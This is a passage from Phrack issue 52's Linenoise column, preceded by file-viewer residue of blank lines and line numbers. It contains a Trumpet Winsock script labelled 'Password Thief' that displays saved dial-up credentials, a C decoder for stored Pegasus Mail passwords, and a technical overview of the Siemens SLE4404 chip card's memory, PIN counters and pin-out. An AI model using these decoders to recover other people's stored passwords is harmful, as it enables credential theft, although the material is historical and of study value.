File size: 79,771 Bytes
8ecd256
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
2160
2161
2162
2163
2164
2165
2166
2167
2168
2169
2170
2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
2184
2185
2186
2187
2188
2189
2190
2191
2192
2193
2194
2195
2196
2197
2198
2199
2200
2201
2202
2203
2204
2205
2206
2207
2208
2209
2210
2211
2212
2213
2214
2215
2216
2217
2218
2219
2220
2221
2222
2223
2224
2225
2226
2227
2228
2229
2230
2231
2232
2233
2234
2235
2236
2237
2238
2239
2240
2241
2242
2243
2244
2245
2246
2247
2248
2249
2250
2251
2252
2253
2254
2255
2256
2257
2258
2259
2260
2261
2262
2263
2264
2265
2266
2267
2268
2269
2270
2271
2272
2273
2274
2275
2276
2277
2278
2279
2280
2281
2282
2283
2284
2285
2286
2287
2288
2289
2290
2291
2292
2293
2294
2295
2296
2297
2298
2299
2300
2301
2302
2303
2304
2305
2306
2307
2308
2309
2310
2311
2312
2313
2314
2315
2316
2317
2318
2319
2320
2321
2322
2323
2324
2325
2326
2327
2328
2329
2330
2331
2332
2333
2334
2335
2336
2337
2338
2339
2340
2341
2342
2343
2344
2345
2346
2347
2348
2349
2350
2351
2352
2353
2354
2355
2356
2357
2358
2359
2360
2361
2362
2363
2364
2365
2366
2367
2368
2369
2370
2371
2372
2373
2374
2375
2376
2377
2378
2379
2380
2381
2382
2383
2384
2385
2386
2387
2388
2389
2390
2391
2392
2393
2394
2395
2396
2397
2398
2399
2400
2401
2402
2403
2404
2405
2406
2407
2408
2409
2410
2411
2412
2413
2414
2415
2416
2417
2418
2419
2420
2421
2422
2423
2424
2425
2426
2427
2428
2429
2430
2431
2432
2433
2434
2435
2436
2437
2438
2439
2440
2441
2442
2443
2444
2445
2446
2447
2448
2449
2450
2451
2452
2453
2454
2455
2456
2457
2458
2459
2460
2461
2462
2463
2464
2465
2466
2467
2468
2469
2470
2471
2472
2473
2474
2475
2476
2477
2478
2479
2480
2481
2482
2483
2484
2485
2486
2487
2488
2489
2490
2491
2492
2493
2494
2495
2496
2497
2498
2499
2500
2501
2502
2503
2504
2505
2506
2507
2508
2509
2510
2511
2512
2513
2514
2515
2516
2517
2518
2519
2520
2521
2522
2523
2524
2525
2526
2527
2528
2529
2530
2531
2532
---[  Phrack Magazine   Volume 8, Issue 52 January 26, 1998, article 03 of 20


-------------------------[  P H R A C K     5 2     L I N E N O I S E


--------[  Various

0x1>-------------------------------------------------------------------------

Upon discovering Doctor Jeep's "Trumpet Winsock Password Hacker" in P51-03, I
felt obligated to share a small piece of code that I don't like to admit
that I created, far earlier than the esteemed Jeep's published work.  As his
requires access to a Pascal compiler and does not seem to be coded with
portability in mind, the fact that my script requires Trumpet itself to run
does not seem too great a hindrance.  The irony is that not only is the
"cipher" a simple obfuscating XOR, but that Trumpet itself will decode it
for you.

<++> password.cmd
# Put in Trumpet Winsock directory, run under "Dialer/Other"
# Cannot currently use any file other than trumpwsk.ini,
# apparently due to implementation errors in the "load" function
display \n
display "Trumpet Password Thief 1.0, 8-18-95"\n
display \n
if [load $username]
        display "username: "
        display $username\n
else
        display "ERR: cannot load username"\n
end
if [load $password]
        display "password: "
        display $password\n
else
        display "ERR: cannot load password"\n
end
display \n
<-->
    
        - anonymous 

0x2>-------------------------------------------------------------------------

Another password decoder for ya... written long ago, I just never bothered to
release it...

<++> peg-dec.c
/*
 * Pegasus Mail Password Decoder v1.0 by Belgorath
 */
#include <stdio.h>

/* Decoding/Encoding Tables */
int dec1[1]= { 44 };
int dec2[2]= { 16, 21 };
int dec3[3]= { 10, 22, 28 };
int dec4[4]= { 37, 28, 21, 7 };
int dec5[5]= { 21, 22, 37, 28, 9 };
int dec6[6]= { 22, 15, 28, 42, 17, 2 };
int dec7[7]= { 15, 17, 21, 31,  0, 12, 19 };
int dec8[8]= {  9,  2,  7, 20, 44, 22, 28, 23 };

int *decz[8] = { dec1,dec2,dec3,dec4,dec5,dec6,dec7,dec8 };

int decode_char(int numch, int ch, int pos)
{
  ch-=decz[numch-1][pos-1];
  if(ch<-127) ch+=256;
  return ch;
}
void main(void)
{
  int zz,x,nc;
  char *tz;
  int inps[20];

  nc=0;
  tz=malloc(8192);
  printf("Enter Pegasus Mail Password: ");
  gets(tz);

/* Fun input parsing loop. Hope your malloc bzero's... */
  while( *tz ) {
    for(x=0;x<strlen(tz)+2;x++) {
      if( (tz[x]==' ') || (tz[x]==0) ) {
        tz[x]=0;
        inps[nc]=atoi(tz);
        nc++;
        tz+=x+1;
        break;
      }
    }
  }

/* Throw away anything past the end */
  for(x=0;x<nc;x++) if(inps[x]==-1) nc=x+1;

/* All pegasus passwords end in -1 */
  if(inps[nc-1]!=-1) {
    printf("Invalid Pegasus Mail Password.\n");
    return;
  }

/* But we throw it away anyway */
  nc--;

  printf("Decoded Password: [");
  for(x=1;x<nc+1;x++) putchar(decode_char(nc,inps[x-1],x));
  printf("]\n");
}
<-->

0x3>-------------------------------------------------------------------------
    
                       :----------------------------:
                        Siemens Chip Card Technology

                       .        by Yggdrasil        .
                       :----------------------------:



  Chip cards differ from one another in memory size, type of memory (PROM or
EEPROM), security logic and micro-controller.  This article will discuss the
Siemens SLE4404 chip card technology.

  The SLE4404 is employed for electronic purse cards and bank transactions,
cellular telephony (pre-payed cards), user IDs for access control, etc. (some
examples: SmartCard, ViaCard and Italian Bancomat).  Its data can be accessed
through a simple TTL serial channel, providing a +5 Vcc power supply from an
external source.


 Inside the chip
 ~~~~~~~~~~~~~~~
  The chipcard has at its disposal EEPROM memory consisting of a 416-bit matrix
(each row is 16-bits) that is protected by security logic providing access 
control.

  This is the logic diagram:

                  +------------------------+     +------------------+
                  |     Address Counter    | --> |  Column Decoder  |
                  +------------------------+     +------------------+
                        ^             |                    | 16
                        |             v                    v
                  +-----------+  +---------+     +------------------+
 C3,C8,C2,C5  --> | Control & |  | Row     |     | User mem 208 bit |
 C1 (Vcc)     --> | Security  |  | Decoder | --> | Sec unit 192 bit |
 C7 (I/O)    <--> | Logic     |  |         | 26  | Special mem unit |
                  +-----------+  +---------+     +------------------+
                        ^                                  ^
                        |                                  |
                        +----------------------------------+

  The SLE4404 memory is subdivided in three main memory blocks: one is read
only (a "PROM" containing the manufacturer code and/or a serial number and
an expiration date), the second is both readable and writeable (user memory)
and the last block cannot be written to unless the lock-out fuse has been 
fused.

  This is the memory map:

  BLOCK TYPE         SIZE (BIT)   ADDRESS   READABLE   WRITEABLE   ERASEABLE
-----------------------------------------------------------------------------
 Manufacturer code       16          0-15     Yes         No           No
 Application ROM         48         16-63     Yes         No           No
 User code               16         64-79    [fuse]      U.C.         U.C.
 Error counter            4         80-83     Yes        Yes          U.C.
 EEPROM #1               12         84-95     Yes        Yes          U.C.
 EEPROM #2               16        96-111     Yes        U.C.         U.C.
 Frame memory block
 - F.M. config            2       112-113     Yes        Yes       U.C./R.C.
 - Frame memory         206       114-319    [cfg]      [cfg]      U.C./R.C.
 Frame code              32       320-351    [fuse]     [fuse]       [cfg]
 Frame counter           64       352-415     Yes        Yes         [cfg]
-----------------------------------------------------------------------------

  Meaning of abbreviations:

 U.C.   -  User code required
           (each time the code is entered the error counter is decreased)
 R.C.   -  Frame code required
           (each time the code is entered the frame counter is decreased)
 [fuse] -  Operation allowed ONLY IF lock-out fuse is not fused
 [cfg]  -  Operation allowed according to frame memory configuration

  Frame memory configuration table:

 BIT 112    BIT 113    MEMORY MODE    READABLE    WRITEABLE
-----------------------------------------------------------------------------
    0          0        Secret ROM      Yes           No
    0          1          R.O.M.        Yes           No
    1          0       Secret PROM      U.C.         U.C.
    1          1         P.R.O.M.       U.C.         U.C.
-----------------------------------------------------------------------------

  The first 16-bit block is for the Manufacturer Code.  The following 48-bit
block is called Application ROM, containing another code (Manufacturer sub
code or info, serial number, sub-type of card, etc).

  The User Code is the access code (PIN) used to read/write/erase memory.  
This code can be modified provided that the fuse was not fused, while the
error counter value can be modified even if the fuse was fused...

  Please note that access to memory is blocked after four incorrect access
trials (checked by the counter).  The same is for the Frame Code and the
Frame [error] Counter (note that the number of incorrect accesses is limited
to three trials instead of four).

  Finally, the Frame Memory is generally used for storing personal user
information or the credit limit (money that can be fetched in a bank 
transaction, or the remaining "virtual" credit that a pre-payed cellular card
contains).


 The Pin-out
 ~~~~~~~~~~~
  This is the Siemens SLE4404 pin-out (N.C. stands for Not Connected):

+-------+-------------------+
|  C 1  |    C  5           |    Contact  Pin   Info
|       |                   |
+-------+           +-------+       1      6    Vcc +5V
|  C 2  |           |  C 6  |       2      5    Reset
|       |           |       |       3      4    Clock
+-------+           +-------+       4      3    Test input - N.C.
|  C 3  |           |  C 7  |       5      8    Ground
|       |           |       |       6      7    N.C.
+-------+           +-------+       7      1    Bi-directional I/O data line
|  C 4  |           |  C 8  |       8      2    Control input (data change)
|       |           |       |
+-------+-----------+-------+

